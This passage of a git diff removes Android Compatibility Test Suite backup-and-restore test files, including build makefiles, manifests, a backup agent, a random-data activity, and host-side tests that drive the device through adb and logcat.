-        <option name="jar" value="CtsBackupHostTestCases.jar" />
-    </test>
-</configuration>
diff --git a/hostsidetests/backup/app/Android.mk b/hostsidetests/backup/app/Android.mk
deleted file mode 100644
index 248207c..0000000
--- a/hostsidetests/backup/app/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsBackupRestoreDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/app/AndroidManifest.xml b/hostsidetests/backup/app/AndroidManifest.xml
deleted file mode 100644
index 0d3aee8..0000000
--- a/hostsidetests/backup/app/AndroidManifest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.cts.backuprestoreapp">
-
-    <application
-        android:backupAgent="CtsBackupRestoreBackupAgent">
-        <uses-library android:name="android.test.runner" />
-
-        <activity
-            android:name=".KeyValueBackupRandomDataActivity"
-            android:launchMode="singleInstance">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.backup.cts.backuprestoreapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
deleted file mode 100644
index e692fdd..0000000
--- a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts.backuprestoreapp;
-
-import android.app.backup.BackupAgentHelper;
-
-public class CtsBackupRestoreBackupAgent extends BackupAgentHelper {
-    private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
-    private static final String KEY_BACKUP_TEST_FILES_PREFIX = "backup-test-files";
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
-                KeyValueBackupRandomDataActivity.getSharedPreferencesBackupHelper(this));
-        addHelper(KEY_BACKUP_TEST_FILES_PREFIX,
-                KeyValueBackupRandomDataActivity.getFileBackupHelper(this));
-    }
-}
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
deleted file mode 100644
index 92db3f3..0000000
--- a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
+++ /dev/null
@@ -1,228 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts.backuprestoreapp;
-
-import android.app.Activity;
-import android.app.backup.BackupManager;
-import android.app.backup.FileBackupHelper;
-import android.app.backup.SharedPreferencesBackupHelper;
-import android.content.Context;
-import android.content.SharedPreferences;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.PrintWriter;
-import java.util.Random;
-import java.util.Scanner;
-
-/**
- * Test activity that reads/writes to shared preferences and files.
- *
- * It uses logcat messages to send the data to the host side of the test.
- * The format of logcat messages: "DATA_PREF: VALUE".
- * VALUES_LOADED_MESSAGE is logged after all the values.
- *
- * Workflow onCreate:
- * - Read shared preferences and files
- * - If the values are default ones:
- *      - Randomly generate new values
- *      - Save new values to shared preferences and files
- *      - Load the new values.
- *
- * Migrated from BackupTestActivity in former BackupTest CTS Verfifier test.
- */
-public class KeyValueBackupRandomDataActivity extends Activity {
-    private static final String TAG = KeyValueBackupRandomDataActivity.class.getSimpleName();
-
-    private static final String TEST_PREFS_1 = "test-prefs-1";
-    private static final String INT_PREF = "int-pref";
-    private static final String BOOL_PREF = "bool-pref";
-
-    private static final String TEST_PREFS_2 = "test-prefs-2";
-    private static final String FLOAT_PREF = "float-pref";
-    private static final String LONG_PREF = "long-pref";
-    private static final String STRING_PREF = "string-pref";
-
-    private static final String TEST_FILE_1 = "test-file-1";
-    private static final String TEST_FILE_2 = "test-file-2";
-
-    private static final int DEFAULT_INT_VALUE = 0;
-    private static final boolean DEFAULT_BOOL_VALUE = false;
-    private static final float DEFAULT_FLOAT_VALUE = 0.0f;
-    private static final long DEFAULT_LONG_VALUE = 0L;
-    private static final String DEFAULT_STRING_VALUE = null;
-
-    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
-    private static final String EMPTY_STRING_LOG = "empty";
-
-    private boolean mDefaultValues = true;
-    private boolean mValuesWereGenerated;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        new LoadBackupItemsTask().execute();
-    }
-
-    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
-        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
-    }
-
-    public static FileBackupHelper getFileBackupHelper(Context context) {
-        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
-    }
-
-    class LoadBackupItemsTask extends AsyncTask<Void, Void, Void> {
-
-        @Override
-        protected Void doInBackground(Void... params) {
-            loadPreferenceGroup1();
-            loadPreferenceGroup2();
-            loadFile(TEST_FILE_1);
-            loadFile(TEST_FILE_2);
-            return null;
-        }
-
-        private void loadPreferenceGroup1() {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-
-            int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
-            Log.i(TAG, INT_PREF + ":" + intValue);
-
-            boolean boolValue = prefs.getBoolean(BOOL_PREF, DEFAULT_BOOL_VALUE);
-            Log.i(TAG, BOOL_PREF + ":" + boolValue);
-
-            mDefaultValues = mDefaultValues
-                    && intValue == DEFAULT_INT_VALUE
-                    && boolValue == DEFAULT_BOOL_VALUE;
-        }
-
-        private void loadPreferenceGroup2() {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-
-            float floatValue = prefs.getFloat(FLOAT_PREF, DEFAULT_FLOAT_VALUE);
-            Log.i(TAG, FLOAT_PREF + ":" + floatValue);
-
-            long longValue = prefs.getLong(LONG_PREF, DEFAULT_LONG_VALUE);
-            Log.i(TAG, LONG_PREF + ":" + longValue);
-
-            String stringValue = prefs.getString(STRING_PREF, DEFAULT_STRING_VALUE);
-            Log.i(TAG, STRING_PREF + ":" + stringValue);
-
-            mDefaultValues = mDefaultValues
-                            && floatValue == DEFAULT_FLOAT_VALUE
-                            && longValue == DEFAULT_LONG_VALUE
-                            && stringValue == DEFAULT_STRING_VALUE;
-        }
-
-        private void loadFile(String fileName) {
-            StringBuilder contents = new StringBuilder();
-            Scanner scanner = null;
-            try {
-                scanner = new Scanner(new File(getFilesDir(), fileName));
-                while (scanner.hasNext()) {
-                    contents.append(scanner.nextLine());
-                }
-                scanner.close();
-            } catch (FileNotFoundException e) {
-                Log.i(TAG, "Couldn't find test file but this may be fine...");
-            } finally {
-                if (scanner != null) {
-                    scanner.close();
-                }
-            }
-            String logString = contents.toString();
-            logString = logString.isEmpty() ? EMPTY_STRING_LOG : logString;
-            Log.i(TAG, fileName + ":" + logString);
-
-            mDefaultValues = mDefaultValues && contents.toString().isEmpty();
-        }
-
-        @Override
-        protected void onPostExecute(Void param) {
-            super.onPostExecute(param);
-
-            if (mDefaultValues && !mValuesWereGenerated) {
-                new GenerateValuesTask().execute();
-            } else {
-                Log.i(TAG, VALUES_LOADED_MESSAGE);
-            }
-        }
-    }
-
-    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
-
-        @Override
-        protected Exception doInBackground(Void... params) {
-            Random random = new Random();
-            generatePreferenceGroup1(random);
-            generatePreferenceGroup2(random);
-            try {
-                generateTestFile(TEST_FILE_1, random);
-                generateTestFile(TEST_FILE_2, random);
-            } catch (FileNotFoundException e) {
-                return e;
-            }
-            return null;
-        }
-
-        private void generatePreferenceGroup1(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
-            editor.putBoolean(BOOL_PREF, random.nextBoolean());
-            editor.commit();
-        }
-
-        private void generatePreferenceGroup2(Random random) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.putFloat(FLOAT_PREF, random.nextFloat());
-            editor.putLong(LONG_PREF, random.nextLong());
-            editor.putString(STRING_PREF, "Random number " + (random.nextInt(100) + 1));
-            editor.commit();
-        }
-
-        private void generateTestFile(String fileName, Random random)
-                throws FileNotFoundException {
-            File file = new File(getFilesDir(), fileName);
-            PrintWriter writer = new PrintWriter(file);
-            writer.write("Random number " + (random.nextInt(100) + 1));
-            writer.close();
-        }
-
-        @Override
-        protected void onPostExecute(Exception exception) {
-            super.onPostExecute(exception);
-            mValuesWereGenerated = true;
-
-            if (exception != null) {
-                Log.e(TAG, "Couldn't generate test data...", exception);
-            } else {
-                BackupManager backupManager = new BackupManager(
-                        KeyValueBackupRandomDataActivity.this);
-                backupManager.dataChanged();
-
-                new LoadBackupItemsTask().execute();
-            }
-        }
-    }
-}
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
deleted file mode 100644
index 46af984..0000000
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsFullbackupApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
deleted file mode 100644
index 58f9306..0000000
--- a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.fullbackupapp">
-
-    <application android:label="FullbackupApp" >
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.fullbackupapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
deleted file mode 100644
index 7c3a6f6..0000000
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.fullbackupapp;
-
-import static android.support.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
-
-import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side NoBackupFolderHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- */
-@RunWith(AndroidJUnit4.class)
-public class FullbackupTest {
-    public static final String TAG = "FullbackupCTSApp";
-    private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
-    private Context mContext;
-
-    private File mNoBackupFile;
-    private File mNoBackupFile2;
-    private File mDoBackupFile;
-    private File mDoBackupFile2;
-
-    @Before
-    public void setUp() {
-        mContext = getTargetContext();
-        setupFiles();
-    }
-
-    private void setupFiles() {
-        // Files in the 'no_backup' directory. We expect these to not be backed up.
-        File noBackupDir = mContext.getNoBackupFilesDir();
-        File folderInNoBackup = new File(noBackupDir, "folder_not_to_backup");
-
-        mNoBackupFile = new File(noBackupDir, "file_not_backed_up");
-        mNoBackupFile2 = new File(folderInNoBackup, "file_not_backed_up2");
-
-        // Files in the normal files directory. These should be backed up and restored.
-        File filesDir = mContext.getFilesDir();
-        File normalFolder = new File(filesDir, "normal_folder");
-
-        mDoBackupFile = new File(filesDir, "file_to_backup");
-        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
-    }
-
-    @Test
-    public void createFiles() throws Exception {
-        // Make sure the data does not exist from before
-        deleteAllFiles();
-        checkNoFilesExist();
-
-        // Create test data
-        generateFiles();
-        checkAllFilesExist();
-
-        Log.d(TAG, "Test files created:");
-        Log.d(TAG, mNoBackupFile.getAbsolutePath());
-        Log.d(TAG, mNoBackupFile2.getAbsolutePath());
-        Log.d(TAG, mDoBackupFile.getAbsolutePath());
-        Log.d(TAG, mDoBackupFile2.getAbsolutePath());
-    }
-
-    @Test
-    public void deleteFilesAfterBackup() throws Exception {
-        // Make sure the test data exists first
-        checkAllFilesExist();
-
-        // Delete test data
-        deleteAllFiles();
-
-        // No there should be no files left
-        checkNoFilesExist();
-    }
-
-    @Test
-    public void checkRestoredFiles() throws Exception {
-        // After a restore, only files outside the 'no_backup' folder should exist
-        checkNoBackupFilesDoNotExist();
-        checkDoBackupFilesDoExist();
-    }
-
-    private void generateFiles() {
-        try {
-            // Add data to all the files we created
-            addData(mNoBackupFile);
-            addData(mNoBackupFile2);
-            addData(mDoBackupFile);
-            addData(mDoBackupFile2);
-            Log.d(TAG, "Files generated!");
-        } catch (IOException e) {
-            Log.e(TAG, "Unable to generate files", e);
-        }
-    }
-
-    private void deleteAllFiles() {
-        mNoBackupFile.delete();
-        mNoBackupFile2.delete();
-        mDoBackupFile.delete();
-        mDoBackupFile2.delete();
-        Log.d(TAG, "Files deleted!");
-    }
-
-    private void addData(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        byte[] bytes = new byte[FILE_SIZE_BYTES];
-        new Random().nextBytes(bytes);
-
-        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
-            bos.write(bytes, 0, bytes.length);
-        }
-    }
-
-    private void checkAllFilesExist() {
-        assertTrue("File in 'no_backup' did not exist!", mNoBackupFile.exists());
-        assertTrue("File in folder inside 'no_backup' did not exist!", mNoBackupFile2.exists());
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-
-    private void checkNoFilesExist() {
-        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
-        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
-        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
-        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
-    }
-
-    private void checkNoBackupFilesDoNotExist() {
-        assertFalse("File in 'no_backup' did exist!", mNoBackupFile.exists());
-        assertFalse("File in folder inside 'no_backup' did exist!", mNoBackupFile2.exists());
-    }
-
-    private void checkDoBackupFilesDoExist() {
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
deleted file mode 100644
index f156e68..0000000
--- a/hostsidetests/backup/src/android/cts/backup/BackupRestoreHostSideTest.java
+++ /dev/null
@@ -1,242 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.io.FileNotFoundException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Scanner;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test for checking that key/value backup and restore works correctly.
- * It interacts with the app that generates random values and saves them in different shared
- * preferences and files. The app uses BackupAgentHelper to do key/value backup of those values.
- * The tests verifies that the values are restored after the app is uninstalled and reinstalled.
- *
- * NB: The tests uses "bmgr backupnow" for backup, which works on N+ devices.
- */
-public class BackupRestoreHostSideTest extends BaseBackupHostSideTest {
-    /** The name of the APK of the app under test */
-    private static final String TEST_APP_APK = "CtsBackupRestoreDeviceApp.apk";
-
-    /** The package name of the APK */
-    private static final String PACKAGE_UNDER_TEST = "android.backup.cts.backuprestoreapp";
-
-    /** The class name of the main activity in the APK */
-    private static final String CLASS_UNDER_TEST = "KeyValueBackupRandomDataActivity";
-
-    /** The command to launch the main activity */
-    private static final String START_ACTIVITY_UNDER_TEST_COMMAND = String.format(
-            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE_UNDER_TEST,
-            PACKAGE_UNDER_TEST,
-            CLASS_UNDER_TEST);
-
-    /** The command to clear the user data of the package */
-    private static final String CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND = String.format(
-            "pm clear %s", PACKAGE_UNDER_TEST);
-
-    /**
-     * Time we wait before reading the logcat again if the message we want is not logged by the
-     * app yet.
-     */
-    private static final int SMALL_LOGCAT_DELAY_MS = 1000;
-
-    /**
-     * Message logged by the app after all the values were loaded from SharedPreferences and files.
-     */
-    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
-
-    /**
-     * Keys for various shared preferences and files saved/read by the app.
-     */
-    private static final String INT_PREF = "int-pref";
-    private static final String BOOL_PREF = "bool-pref";
-    private static final String FLOAT_PREF = "float-pref";
-    private static final String LONG_PREF = "long-pref";
-    private static final String STRING_PREF = "string-pref";
-    private static final String TEST_FILE_1 = "test-file-1";
-    private static final String TEST_FILE_2 = "test-file-2";
-
-    /** Number of the values saved/restored by the app (keys listed above) */
-    private static final int NUMBER_OF_VALUES = 7;
-
-    /**
-     * String equivalents of the default values of the shared preferences logged by the app.
-     * These values are logged by the app by default if it fails to generate or restore values.
-     */
-    private static final String DEFAULT_INT_STRING = Integer.toString(0);
-    private static final String DEFAULT_BOOL_STRING = Boolean.toString(false);
-    private static final String DEFAULT_FLOAT_STRING = Float.toString(0.0f);
-    private static final String DEFAULT_LONG_STRING = Long.toString(0L);
-    private static final String DEFAULT_STRING_STRING = "null";
-    private static final String DEFAULT_FILE_STRING = "empty";
-
-    private boolean mIsBackupSupported;
-    private boolean mWasBackupEnabled;
-    private String mOldTransport;
-
-    /**
-     * Map of the shared preferences/files values reported by the app.
-     * Format example: INT_PREF -> 17 (string, as found in the logcat).
-     */
-    private Map<String, String> mSavedValues;
-
-    public void testKeyValueBackupAndRestore() throws Exception {
-        // Clear app data if any
-        mDevice.executeShellCommand(CLEAR_DATA_IN_PACKAGE_UNDER_TEST_COMMAND);
-        // Clear logcat
-        mDevice.executeAdbCommand("logcat", "-c");
-        // Start the main activity of the app
-        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
-
-        // The app will generate some random values onCreate. Save them to mSavedValues
-        saveDataValuesReportedByApp();
-
-        // If all the values are default, there is something wrong with the app
-        assertNotAllValuesAreDefault();
-
-        // Run backup
-        // TODO: make this compatible with N-, potentially by replacing 'backupnow' with 'run'.
-        String backupnowOutput = backupNow(PACKAGE_UNDER_TEST);
-
-        assertBackupIsSuccessful(PACKAGE_UNDER_TEST, backupnowOutput);
-
-        mDevice.uninstallPackage(PACKAGE_UNDER_TEST);
-
-        assertNull(super.installPackage(TEST_APP_APK));
-
-        mDevice.executeAdbCommand("logcat", "-c");
-
-        // Start the reinstalled app
-        mDevice.executeShellCommand(START_ACTIVITY_UNDER_TEST_COMMAND);
-
-        // If the app data was restored successfully, the app should not generate new values and
-        // the values reported by the app should match values saved in mSavedValues
-        assertValuesAreRestored();
-    }
-
-    /**
-     * Saves the data values reported by the app in {@code mSavedValues}.
-     */
-    private void saveDataValuesReportedByApp()
-            throws InterruptedException, DeviceNotAvailableException {
-        mSavedValues = readDataValuesFromLogcat();
-        assertEquals(NUMBER_OF_VALUES, mSavedValues.size());
-    }
-
-    /**
-     * Checks that at least some values in {@code mSavedValues} are different from corresponding
-     * default values.
-     */
-    private void assertNotAllValuesAreDefault() {
-        boolean allValuesAreDefault = mSavedValues.get(INT_PREF).equals(DEFAULT_INT_STRING)
-                && mSavedValues.get(BOOL_PREF).equals(DEFAULT_BOOL_STRING)
-                && mSavedValues.get(FLOAT_PREF).equals(DEFAULT_FLOAT_STRING)
-                && mSavedValues.get(LONG_PREF).equals(DEFAULT_LONG_STRING)
-                && mSavedValues.get(STRING_PREF).equals(DEFAULT_STRING_STRING)
-                && mSavedValues.get(TEST_FILE_1).equals(DEFAULT_FILE_STRING)
-                && mSavedValues.get(TEST_FILE_2).equals(DEFAULT_FILE_STRING);
-
-        assertFalse("The values were not changed from default.", allValuesAreDefault);
-    }
-
-    /**
-     * Reads the values logged by the app and verifies that they are the same as the ones we saved
-     * in {@code mSavedValues}.
-     */
-    private void assertValuesAreRestored()
-            throws InterruptedException, DeviceNotAvailableException {
-        Map<String, String> restoredValues = readDataValuesFromLogcat();
-
-        // Iterating through mSavedValues (vs. restoredValues) keyset to make sure all of the
-        // keys are reported in restored data
-        for (String dataType : mSavedValues.keySet()) {
-            assertEquals(mSavedValues.get(dataType), restoredValues.get(dataType));
-        }
-    }
-
-    /**
-     * Reads the values that app has reported via logcat and saves them in a map.
-     *
-     * The app logs the values once they are read from shared preferences or a file.
-     * If the values are default ones (i.e., it's the first run of the application), the app then
-     * generates random values and saves them in shared preferences or a file.
-     * Finally, the app reads the values from shared preferences or a file again and logs them.
-     * We are only interested in the final (generated or restored) values.
-     * The format of the log messages is "INT_PREF:17".
-     *
-     * @return Map of the values found in logcat.
-     */
-    private Map<String, String> readDataValuesFromLogcat()
-            throws InterruptedException, DeviceNotAvailableException {
-        Map<String, String> result = new HashMap<>();
-
-        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(30);
-
-        // The app generates reads, generates and reads values in async tasks fired onCreate.
-        // It may take some time for all tasks to finish and for logs to appear, so we check logcat
-        // repeatedly until we read VALUES_LOADED_MESSAGE, which is the last message the app logs.
-        search:
-        while (timeout >= System.currentTimeMillis()) {
-            String logs = getLogcatForClass(CLASS_UNDER_TEST);
-
-            Scanner in = new Scanner(logs);
-            while (in.hasNextLine()) {
-                String line = in.nextLine();
-                // Filter by TAG.
-                if (line.startsWith("I/" + CLASS_UNDER_TEST)) {
-                    // Get rid of the TAG.
-                    String message = line.split(":", 2)[1].trim();
-
-                    // VALUES_LOADED_MESSAGE is logged by the app when all the values are loaded and
-                    // logged so we can stop expecting more lines at this point.
-                    if (message.equals(VALUES_LOADED_MESSAGE)) {
-                        break search;
-                    }
-
-                    // Values are logged by the app in the format "INT_PREF:17".
-                    String[] values = message.split(":");
-                    if (values.length == 2) {
-                        result.put(values[0], values[1]);
-                    }
-                }
-            }
-            in.close();
-
-            // In case the key has not been found, wait for the log to update before
-            // performing the next search.
-            Thread.sleep(SMALL_LOGCAT_DELAY_MS);
-        }
-        assertTrue("Timeout while reading the app values", timeout > System.currentTimeMillis());
-        return result;
-    }
-
-    /**
-     * Returns the logcat string with the tag {@param className} and clears everything else.
-     */
-    private String getLogcatForClass(String className) throws DeviceNotAvailableException {
-        return mDevice.executeAdbCommand("logcat", "-v", "brief", "-d", className + ":I", "*:S");
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
deleted file mode 100644
index a3c2467..0000000
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-
-import static org.junit.Assume.assumeTrue;
-
-import com.android.cts.migration.MigrationHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
